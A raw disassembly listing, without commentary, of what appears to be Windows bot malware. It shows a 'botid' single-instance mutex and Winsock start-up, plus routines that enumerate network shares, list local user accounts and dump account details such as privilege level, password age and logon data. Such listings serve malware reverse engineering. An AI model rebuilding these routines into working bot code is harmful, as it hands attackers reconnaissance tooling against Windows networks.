		push	esi
		push	[esp+4+arg_0]
		call	sub_40C0F0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40C0F0
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_436340
		pop	esi
		retn
sub_40C131	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C154	proc near		; CODE XREF: sub_40D2E0+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40C0F0
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 18h


loc_40C18D:				; CODE XREF: sub_40C154+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_4363B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40C1F0
		cmp	ebx, 0EAh
		jz	short loc_40C1F0
		push	ebx
		push	ebx
		call	sub_40C925
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42A60C
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 24h
		jmp	short loc_40C25D
; ---------------------------------------------------------------------------


loc_40C1F0:				; CODE XREF: sub_40C154+5Dj
					; sub_40C154+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40C254
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40C1FE:				; CODE XREF: sub_40C154+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43635C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40C215
		mov	eax, offset aNo	; "No"


loc_40C215:				; CODE XREF: sub_40C154+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40C1FE
		xor	esi, esi


loc_40C254:				; CODE XREF: sub_40C154+A2j
		push	[ebp+var_4]
		call	ds:dword_4364F8


loc_40C25D:				; CODE XREF: sub_40C154+9Aj
		cmp	ebx, 0EAh
		jz	loc_40C18D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40C154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C275	proc near		; CODE XREF: sub_40D2E0:loc_40F4B5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40C31A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40C2B7
		dec	eax
		jz	short loc_40C2AC
		dec	eax
		jnz	short loc_40C2D2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40C3BC
		add	esp, 14h
		jmp	short loc_40C2CE
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C275+1Dj
		push	ebx
		push	edi
		call	sub_40C39B
		pop	ecx
		pop	ecx
		jmp	short loc_40C2CE
; ---------------------------------------------------------------------------


loc_40C2B7:				; CODE XREF: sub_40C275+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40C2CB
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40C341
		add	esp, 0Ch
		jmp	short loc_40C2CE
; ---------------------------------------------------------------------------


loc_40C2CB:				; CODE XREF: sub_40C275+45j
		push	57h
		pop	eax


loc_40C2CE:				; CODE XREF: sub_40C275+35j
					; sub_40C275+40j ...
		cmp	eax, edi
		jnz	short loc_40C2F2


loc_40C2D2:				; CODE XREF: sub_40C275+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43AD38
		push	ds:off_429EBC[eax*4]
		push	offset dword_42A6F0
		push	esi
		call	sub_415480
		add	esp, 10h
		jmp	short loc_40C33A
; ---------------------------------------------------------------------------


loc_40C2F2:				; CODE XREF: sub_40C275+5Bj
		push	eax
		call	sub_40C925
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43AD38
		push	ds:off_429EB8[eax*4]
		push	offset dword_42A6B4
		push	esi
		call	sub_415480
		add	esp, 14h
		jmp	short loc_40C33A
; ---------------------------------------------------------------------------


loc_40C31A:				; CODE XREF: sub_40C275+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43AD38
		lea	eax, [eax+eax*2]
		push	ds:off_429EB8[eax*4]
		push	offset dword_42A67C
		push	esi
		call	sub_415480
		add	esp, 0Ch


loc_40C33A:				; CODE XREF: sub_40C275+7Bj
					; sub_40C275+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C341	proc near		; CODE XREF: sub_40C275+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40C0F0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40C0F0
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40C0F0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_43634C
		pop	edi
		leave
		retn
sub_40C341	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C39B	proc near		; CODE XREF: sub_40C275+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40C0F0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40C0F0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43633C
		pop	esi
		retn
sub_40C39B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3BC	proc near		; CODE XREF: sub_40C275+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40C0F0
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40C0F0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_4364C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40C764
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40C79F
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_415480
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40C4DB
		dec	eax
		jz	short loc_40C4D4
		dec	eax
		jz	short loc_40C4CD
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short loc_40C4E0
; ---------------------------------------------------------------------------


loc_40C4CD:				; CODE XREF: sub_40C3BC+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40C4E0
; ---------------------------------------------------------------------------


loc_40C4D4:				; CODE XREF: sub_40C3BC+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40C4E0
; ---------------------------------------------------------------------------


loc_40C4DB:				; CODE XREF: sub_40C3BC+102j
		mov	eax, offset aGuest ; "Guest"


loc_40C4E0:				; CODE XREF: sub_40C3BC+10Fj
					; sub_40C3BC+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_415480
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40BAE7
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40C790
; ---------------------------------------------------------------------------


loc_40C764:				; CODE XREF: sub_40C3BC+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42A720
		push	eax
		call	sub_415480
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40BAE7
		add	esp, 20h


loc_40C790:				; CODE XREF: sub_40C3BC+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40C79F
		push	[ebp+var_4]
		call	ds:dword_4364F8


loc_40C79F:				; CODE XREF: sub_40C3BC+40j
					; sub_40C3BC+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40C3BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7A5	proc near		; CODE XREF: sub_40D2E0+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40C0F0
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 18h


loc_40C7E4:				; CODE XREF: sub_40C7A5+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4363D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40C845
		cmp	eax, 0EAh
		jz	short loc_40C845
		push	eax
		push	eax
		call	sub_40C925
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42A930
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 24h
		jmp	short loc_40C8C0
; ---------------------------------------------------------------------------


loc_40C845:				; CODE XREF: sub_40C7A5+62j
					; sub_40C7A5+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40C8D3
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40C8C0


loc_40C857:				; CODE XREF: sub_40C7A5+EDj
		cmp	edi, esi
		jz	short loc_40C896
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40C857
		jmp	short loc_40C8C0
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40C7A5+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42A8EC
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 1Ch


loc_40C8C0:				; CODE XREF: sub_40C7A5+9Ej
					; sub_40C7A5+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40C8D3
		push	edi
		call	ds:dword_4364F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40C8D3:				; CODE XREF: sub_40C7A5+A5j
					; sub_40C7A5+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40C7E4
		cmp	edi, esi
		jz	short loc_40C8EB
		push	edi
		call	ds:dword_4364F8


loc_40C8EB:				; CODE XREF: sub_40C7A5+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C925	proc near		; CODE XREF: sub_40BF5E+41p
					; sub_40C154+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40C9D7
		jz	loc_40C9D0
		cmp	eax, 7Bh
		ja	short loc_40C99C
		jz	short loc_40C992
		cmp	eax, 5
		jz	short loc_40C988
		cmp	eax, 8
		jz	short loc_40C97E
		cmp	eax, 32h
		jz	short loc_40C974
		cmp	eax, 35h
		jz	short loc_40C96A
		cmp	eax, 57h
		jnz	loc_40CA26
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C96A:				; CODE XREF: sub_40C925+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C974:				; CODE XREF: sub_40C925+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C97E:				; CODE XREF: sub_40C925+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C988:				; CODE XREF: sub_40C925+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C992:				; CODE XREF: sub_40C925+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C99C:				; CODE XREF: sub_40C925+1Aj
		sub	eax, 7Ch
		jz	short loc_40C9C9
		sub	eax, 7C8h
		jz	short loc_40C9C2
		dec	eax
		jz	short loc_40C9B8
		dec	eax
		jnz	short loc_40CA26
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9B8:				; CODE XREF: sub_40C925+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9C2:				; CODE XREF: sub_40C925+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9C9:				; CODE XREF: sub_40C925+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9D0:				; CODE XREF: sub_40C925+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9D7:				; CODE XREF: sub_40C925+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40CA10
		jz	short loc_40CA09
		sub	eax, 8ADh
		jz	short loc_40CA3B
		dec	eax
		dec	eax
		jz	short loc_40CA02
		dec	eax
		jz	short loc_40C9FB
		dec	eax
		dec	eax
		jnz	short loc_40CA26
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40C9FB:				; CODE XREF: sub_40C925+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA02:				; CODE XREF: sub_40C925+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA09:				; CODE XREF: sub_40C925+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA10:				; CODE XREF: sub_40C925+B9j
		sub	eax, 8CAh
		jz	short loc_40CA42
		sub	eax, 17h
		jz	short loc_40CA3B
		sub	eax, 25h
		jz	short loc_40CA34
		sub	eax, 29h
		jz	short loc_40CA2D


loc_40CA26:				; CODE XREF: sub_40C925+35j
					; sub_40C925+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA2D:				; CODE XREF: sub_40C925+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA34:				; CODE XREF: sub_40C925+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA3B:				; CODE XREF: sub_40C925+C2j
					; sub_40C925+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40CA47
; ---------------------------------------------------------------------------


loc_40CA42:				; CODE XREF: sub_40C925+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40CA47:				; CODE XREF: sub_40C925+40j
					; sub_40C925+4Aj ...
		push	offset dword_43AAD8
		call	sub_415480
		pop	ecx
		mov	eax, offset dword_43AAD8
		pop	ecx
		retn
sub_40C925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA59	proc near		; CODE XREF: sub_40D2E0+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417AD9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	ds:dword_422138	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_417AD9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417ABC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_436478
		test	eax, eax
		jnz	short loc_40CAE9
		mov	esi, offset dword_43A8D4
		push	offset dword_42AC80
		push	esi
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	short loc_40CB12
; ---------------------------------------------------------------------------


loc_40CAE9:				; CODE XREF: sub_40CA59+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40C925
		pop	ecx
		mov	esi, offset dword_43A8D4
		push	eax
		push	offset dword_42AC48
		push	esi
		call	sub_415480
		add	esp, 14h


loc_40CB12:				; CODE XREF: sub_40CA59+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40CA59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB17	proc near		; CODE XREF: _0:00417DCDp

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40B9B9
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_422048
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4C8CC0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		call	sub_407E65
		push	2
		call	ds:dword_436514	; SetErrorMode
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	ds:dword_42214C	; CreateMutexA
		push	eax
		call	ds:dword_422148	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40CB94
		push	1
		call	ds:off_42212C


loc_40CB94:				; CODE XREF: sub_40CB17+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	ds:dword_4363E0	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CFF7
		cmp	[ebp+var_884], 2
		jnz	loc_40CFF1
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CFF1
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	ds:dword_422058	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	ds:off_4220E0
		push	eax
		call	ds:off_422060
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_4173D8
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
